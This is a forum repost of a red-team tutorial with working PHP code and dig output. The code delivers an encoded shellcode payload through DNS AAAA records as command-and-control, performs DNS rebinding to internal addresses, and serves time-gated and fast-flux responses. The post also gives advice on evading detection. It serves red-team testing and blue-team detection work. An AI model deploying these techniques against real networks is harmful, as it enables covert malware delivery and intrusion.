Jump to content
Nytro

DNS for red team purposes

Recommended Posts

Introduction

In the following blog post I would like to demonstrate a proof-of-concept for how red teamers can build DNS command & control (DNS C2, DNS C&C), perform DNS rebinding attack and create fast flux DNS. We will focus only on the DNS server part without building a complete working platform.
 
This approach can also be used by blue teams for building DNS blackhole / DNS sinkhole. The BIND9 software allows blue teamers to create a DNS blackhole using statically configured DNS RPZ (Response Policy Zones). However sometimes they might need to include some dynamic logic to interact with malware. For example simulation of communication with C2, when malware is verifying checksums on the fly using DNS request and responses. Additionally defenders can also test malicious DNS communication against IDS/IPS/firewall solutions implemented in their organisations.

Environment setup

I will be using a simple DNS server written in PHP 7.2 [https://github.com/yswery/PHP-DNS-SERVER (v1.4.1)] and will present only relevant code fragments, to avoid making this blog post messy. The code is based on simple-ns [https://github.com/samuelwilliams/simple-ns]. Full code sample for C2 communication using IPv6 DNS records can be found on GitHub [https://github.com/adamziaja/dns-c2].

DNS server as C2

At the beginning I would like to implement my idea introduced in one of the previous blog posts [https://blog.redteam.pl/2019/08/threat-hunting-dns-firewall.html] about bypassing DNS firewall using payloads hidden in IPv6 records. This can be done with the following PHP code:
 
$str = bin2hex('redteam.pl eleet');
$aaaa = substr(chunk_split($str, 4, ':'), 0, -1);
var_dump($aaaa); // string(39) "7265:6474:6561:6d2e:706c:2065:6c65:6574"
 
Sample PHP DNS server code:
 
if ('redteaming.redteam.pl.' === $query->getName() && RecordTypeEnum::TYPE_AAAA === $query->getType()) {
    $str = bin2hex('redteam.pl eleet');
    $aaaa = substr(chunk_split($str, 4, ':'), 0, -1);
    $answer = new ResourceRecord();
    $answer->setName($query->getName());
    $answer->setClass(ClassEnum::INTERNET);
    $answer->setType(RecordTypeEnum::TYPE_AAAA);
    $answer->setRdata($aaaa);
    $answer->setTtl(3600);
    $answers[] = $answer;
}
 
Response can be tested with a DNS query sent using a command such as:
 
$ dig @1.3.3.7 redteaming.redteam.pl AAAA +short
7265:6474:6561:6d2e:706c:2065:6c65:6574
 
In a common DNS configuration where we use static zone configuration we can’t add any dynamic logic. Using approach described in this blog post we can do it and make on the fly decisions about DNS responses.
 
A classic round-robin DNS returns a complete list of IP addresses in each response for load balancing purposes. In our case we can implement a similar approach, however we will not return a complete list for each query but respond with only one IP address, different each time. Such approach can help us (please note this is not a silver bullet) to hide in regular DNS traffic because it will not trigger an alert related to large amount of data in a single DNS response, such as a large number (10+) of records in round-robin response. 
 
For example we can transfer a payload taken from one of my previous blog posts [https://blog.redteam.pl/2019/04/dns-based-threat-hunting-and-doh.html]:
 
$ cat payload.txt
\xd9\xf7\xd9\x74\x24\xf4\x5a\xbf\x3e\x85\xd7\x8e\x2b
\xc9\xb1\x31\x31\x7a\x18\x03\x7a\x18\x83\xc2\x3a\x67
\x22\x72\xaa\xe5\xcd\x8b\x2a\x8a\x44\x6e\x1b\x8a\x33
\xfa\x0b\x3a\x37\xae\xa7\xb1\x15\x5b\x3c\xb7\xb1\x6c
\xf5\x72\xe4\x43\x06\x2e\xd4\xc2\x84\x2d\x09\x25\xb5
\xfd\x5c\x24\xf2\xe0\xad\x74\xab\x6f\x03\x69\xd8\x3a
\x98\x02\x92\xab\x98\xf7\x62\xcd\x89\xa9\xf9\x94\x09
\x4b\x2e\xad\x03\x53\x33\x88\xda\xe8\x87\x66\xdd\x38
\xd6\x87\x72\x05\xd7\x75\x8a\x41\xdf\x65\xf9\xbb\x1c
\x1b\xfa\x7f\x5f\xc7\x8f\x9b\xc7\x8c\x28\x40\xf6\x41
\xae\x03\xf4\x2e\xa4\x4c\x18\xb0\x69\xe7\x24\x39\x8c
\x28\xad\x79\xab\xec\xf6\xda\xd2\xb5\x52\x8c\xeb\xa6
\x3d\x71\x4e\xac\xd3\x66\xe3\xef\xb9\x79\x71\x8a\x8f
\x7a\x89\x95\xbf\x12\xb8\x1e\x50\x64\x45\xf5\x15\x9a
\x0f\x54\x3f\x33\xd6\x0c\x02\x5e\xe9\xfa\x40\x67\x6a
\x0f\x38\x9c\x72\x7a\x3d\xd8\x34\x96\x4f\x71\xd1\x98
\xfc\x72\xf0\xfa\x63\xe1\x98\xd2\x06\x81\x3b\x2b
 
We can send it in a IPv6 responses (AAAA records) using the following sample code:
 
if ('redteaming.redteam.pl.' === $query->getName() && RecordTypeEnum::TYPE_AAAA === $query->getType()) {
    $answer = new ResourceRecord();
    $answer->setName($query->getName());
    $answer->setClass(ClassEnum::INTERNET);
    $answer->setType(RecordTypeEnum::TYPE_AAAA);
    $payload = 'payload.txt';
    $lines = file($payload);
    if (count($lines) > 0) {
        $v = 47;
        $x = str_replace('\x', '', trim($lines[0]));
        if (strlen($x) < 26) {
            $q = 26 - strlen($x);
            $p = str_repeat('0', $q);
            $x = $x . $p;
        }
        $y = date('md') . $v;
        $z = $x . $y;
        $aaaa = substr(chunk_split($z, 4, ':'), 0, -1);
        array_shift($lines);
        $file = join('', $lines);
        file_put_contents($payload, $file);
    } else {
        $aaaa = 'dead:beef:dead:beef:dead:beef:dead:beef';
    }
    $answer->setRdata($aaaa);
    $answer->setTtl(3600);
    $answers[] = $answer;
}
 
Our payload will be extracted line by line from payload.txt file and put into consecutives DNS queries. After each DNS response, the line that has been sent in response is removed from the file. Before putting our payload into IPv6 records we need to encode it. At the beginning \x char is removed from the payload and if a line contains less than 26 characters it is padded using 0’s. A date in a MMDD format and a 2 digit number will be appended to each string. These 2 digits may be used as identifiers for payload parts etc. When a complete payload has been transferred, DNS server will start to respond with a static IPv6 address (in our case deadbeef [https://en.wikipedia.org/wiki/Hexspeak]) – in a real attack scenario this IPv6 address should have a less conspicuous value, e.g. some trusted IPv6 address of Google.
 
If we will not query our DNS server directly then the TTL value should be changed to 1 or so, because with TTL value 3600 DNS response will be stored in a DNS cache for one hour (3600 seconds). However in a real life scenario, where attacker is using a DNS server configured inside an organisation, TTL can be set for example to 600 and each line of the payload will be collected every 10 minutes (600 seconds). Then our example 17 lines of payload will be transferred in less than 3 hours (17 * 10 = 170 minutes), to possibly avoid detection especially when TTL <10, as this is usually quite suspicious. Remember that this can be detected too, with a technique called malware beaconing [https://www.first.org/resources/papers/conference2012/warfield-michael-slides.pdf]. However this can be a good solution for red team if blue team is not capable to perform such queries like counting DNS request/responses in real time, for example because of large amount of data or lack of SIEM etc.
 
For example let’s take the first and last line (because it will have less characters than the other lines) to better explain the idea how this malicious transfer using IPv6 records will work:
 
\xd9\xf7\xd9\x74\x24\xf4\x5a\xbf\x3e\x85\xd7\x8e\x2b
d9f7:d974:24f4:5abf:3e85:d78e:2b03:1647
 
\xfc\x72\xf0\xfa\x63\xe1\x98\xd2\x06\x81\x3b\x2b
fc72:f0fa:63e1:98d2:0681:3b2b:0003:1647
 
Additionally to avoid easy detection it is important that all addresses are valid for IPv6 notation:
 
$ echo 'd9f7:d974:24f4:5abf:3e85:d78e:2b03:1647' | php -R 'echo filter_var($argn, FILTER_VALIDATE_IP, FILTER_F
LAG_IPV6).PHP_EOL;'
d9f7:d974:24f4:5abf:3e85:d78e:2b03:1647
 
$ echo 'fc72:f0fa:63e1:98d2:0681:3b2b:0003:1647' | php -R 'echo filter_var($argn, FILTER_VALIDATE_IP, FILTER_F
LAG_IPV6).PHP_EOL;'
fc72:f0fa:63e1:98d2:0681:3b2b:0003:1647
 
Now we can test if everything works as intended:
 
$ for i in $(seq 1 20);do dig @1.3.3.7 redteaming.redteam.pl AAAA +short | xargs sipcalc | grep ^Expanded | awk '{print $4}';done
d9f7:d974:24f4:5abf:3e85:d78e:2b03:1647
c9b1:3131:7a18:037a:1883:c23a:6703:1647
2272:aae5:cd8b:2a8a:446e:1b8a:3303:1647
fa0b:3a37:aea7:b115:5b3c:b7b1:6c03:1647
f572:e443:062e:d4c2:842d:0925:b503:1647
fd5c:24f2:e0ad:74ab:6f03:69d8:3a03:1647
9802:92ab:98f7:62cd:89a9:f994:0903:1647
4b2e:ad03:5333:88da:e887:66dd:3803:1647
d687:7205:d775:8a41:df65:f9bb:1c03:1647
1bfa:7f5f:c78f:9bc7:8c28:40f6:4103:1647
ae03:f42e:a44c:18b0:69e7:2439:8c03:1647
28ad:79ab:ecf6:dad2:b552:8ceb:a603:1647
3d71:4eac:d366:e3ef:b979:718a:8f03:1647
7a89:95bf:12b8:1e50:6445:f515:9a03:1647
0f54:3f33:d60c:025e:e9fa:4067:6a03:1647
0f38:9c72:7a3d:d834:964f:71d1:9803:1647
fc72:f0fa:63e1:98d2:0681:3b2b:0003:1647
dead:beef:dead:beef:dead:beef:dead:beef
dead:beef:dead:beef:dead:beef:dead:beef
dead:beef:dead:beef:dead:beef:dead:beef
 
Our example payload has 17 lines:
 
$ wc -l payload.txt
17 payload.txt
 
Because of it last three DNS responses are generic, as our bash loop had 20 DNS requests. It demonstrates that it works as intended and after sending a payload the response became static, as predefined in the code.

DNS rebinding attack

Similar code can be used to perform a DNS rebinding attack [https://capec.mitre.org/data/definitions/275.html]:
 
if ('redteaming.redteam.pl.' === $query->getName() && RecordTypeEnum::TYPE_A === $query->getType()) {
    $answer = new ResourceRecord();
    $answer->setName($query->getName());
    $answer->setClass(ClassEnum::INTERNET);
    $answer->setType(RecordTypeEnum::TYPE_A);
    $cfg = 'cfg.txt';
    $lines = file($cfg);
    if (count($lines) > 0) {
        $a = explode(';', trim($lines[0]));
        $answer->setRdata($a[0]);
        $answer->setTtl($a[1]);
        array_shift($lines);
        $file = join('', $lines);
        file_put_contents($cfg, $file);
    } else {
        $a = '1.3.3.7';
        $answer->setRdata($a);
        $answer->setTtl(5);
    }
    $answers[] = $answer;
}
 
$ cat cfg.txt
1.3.3.7;5
192.168.0.1;1
192.168.1.1;1
127.0.0.1;1
 
We store IP addresses and TTL values for each address in cfg.txt file and each line is used in a DNS response. At first we send DNS response with attacker’s IP address 1.3.3.7 and then attacked IP address with TTL set to one second. After that we keep responding with attacker IP address.
 
$ for i in $(seq 1 10);do dig @1.3.3.7 redteaming.redteam.pl A | egrep -v '^;|^$';done
redteaming.redteam.pl.  5 IN A 1.3.3.7
redteaming.redteam.pl.  1       IN A       192.168.0.1
redteaming.redteam.pl.  1       IN A       192.168.1.1
redteaming.redteam.pl.  1       IN A       127.0.0.1
redteaming.redteam.pl.  5 IN A 1.3.3.7
redteaming.redteam.pl.  5 IN A 1.3.3.7
redteaming.redteam.pl.  5 IN A 1.3.3.7
redteaming.redteam.pl.  5 IN A 1.3.3.7
redteaming.redteam.pl.  5 IN A 1.3.3.7
redteaming.redteam.pl.  5 IN A 1.3.3.7
 
This can be easily customized to fit an approach required in various kinds of attacks based on DNS rebinding.

Time based DNS response

Using dynamic logic in DNS responses, red teamers can deceive blue teams using anti-forensic techniques as similar to this which I described in my previous blog post [https://blog.redteam.pl/2020/01/deceiving-blue-teams-anti-forensic.html]. Malicious response can be limited to some short time period and if a query will be sent in different time period then response will be non-malicious. In this case if blue teamers don’t log (DNS) traffic or DNS queries they will have to rely on a live analysis. These responses during live analysis can be different than malicious ones, previously sent to the victim. This is an another good reason to store network traffic, of course if you can afford it, or at least try to log selected protocols.
 
Time based DNS response can be sent using the code below (pay attention if your target is not in the same time zone as machine where this code is executed):
 
if ('redteaming.redteam.pl.' === $query->getName() && RecordTypeEnum::TYPE_A === $query->getType()) {
    $answer = new ResourceRecord();
    $answer->setName($query->getName());
    $answer->setClass(ClassEnum::INTERNET);
    $answer->setType(RecordTypeEnum::TYPE_A);
    if (4 == date('H')) {
        $answer->setRdata('1.1.1.1');
    } else {
        $answer->setRdata('2.2.2.2');
    }
    $answer->setTtl(1800);
    $answers[] = $answer;
}
 
Only if a query will be sent at 4 AM the malicious DNS response will be returned, this malicious response can contain the real IP address of C2 server, but if a query will be sent on a different hour then the answer will also be different, like an IP address of some trusted resource. Such approach can be useful when our target doesn't have 24/7 Security Operations Center (SOC) and the security team will perform analysis during work hours, assuming that they don't log all traffic or DNS queries for offline analysis and will need to perform live analysis (do DNS queries in time of doing analysis, not just to analyze stored logs or traffic).

Fast flux DNS

We can also create fast flux DNS [https://attack.mitre.org/techniques/T1325/]:
 
if ('redteaming.redteam.pl.' === $query->getName() && RecordTypeEnum::TYPE_A === $query->getType()) {
    $answer = new ResourceRecord();
    $answer->setName($query->getName());
    $answer->setClass(ClassEnum::INTERNET);
    $answer->setType(RecordTypeEnum::TYPE_A);
    $fastflux = [
        '1.1.1.1',
        '2.2.2.2',
        '3.3.3.3',
        '4.4.4.4',
        '5.5.5.5',
        '6.6.6.6',
        '7.7.7.7',
        '8.8.8.8',
        '9.9.9.9',
        '10.10.10.10',
        '11.11.11.11',
        '12.12.12.12',
        '13.13.13.13',
        '14.14.14.14',
        '15.15.15.15'
    ];
    $ff = array_rand($fastflux);
    $answer->setRdata($fastflux[$ff]);
    $answer->setTtl(rand(1, 5));
    $answers[] = $answer;
}
 
For each DNS request we take a random value from an array of IPv4 addresses (A record) with random TTL value between 1 and 5 seconds, and return it in a DNS response:
 
$ for i in $(seq 1 15);do dig @1.3.3.7 redteaming.redteam.pl A | egrep -v '^;|^$';done
redteaming.redteam.pl.  2       IN A       9.9.9.9
redteaming.redteam.pl.  5 IN A 6.6.6.6
redteaming.redteam.pl.  2 IN A 5.5.5.5
redteaming.redteam.pl.  4 IN A 10.10.10.10
redteaming.redteam.pl.  4 IN A 5.5.5.5
redteaming.redteam.pl.  3 IN A 9.9.9.9
redteaming.redteam.pl.  1 IN A 11.11.11.11
redteaming.redteam.pl.  2 IN A 12.12.12.12
redteaming.redteam.pl.  5 IN A 10.10.10.10
redteaming.redteam.pl.  2 IN A 14.14.14.14
redteaming.redteam.pl.  2 IN A 6.6.6.6
redteaming.redteam.pl.  3 IN A 11.11.11.11
redteaming.redteam.pl.  5 IN A 14.14.14.14
redteaming.redteam.pl.  1 IN A 8.8.8.8
redteaming.redteam.pl.  4 IN A 15.15.15.15
 
If there will be a large amount of data then IP addresses in DNS response will be “more random”.

Summary

It is important to mention that we can do this for any domain, not only on the one which we control on a global DNS. In this case the DNS client, such as malware, simply needs to send a direct query to our DNS server (in the examples above it is 1.3.3.7). In a direct DNS query an attacker can use for example google.com or any other trusted domain. This is the reason why threat hunters should investigate not only DNS server logs but also monitor traffic for i.a. direct DNS queries, as I explained in more details in a blog post about DNS threat hunting [https://blog.redteam.pl/2019/08/threat-hunting-dns-firewall.html]. I also hope the following blog post will be useful for blue teamers, who can test their defensive tools ability to detect such malicious DNS communications.
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...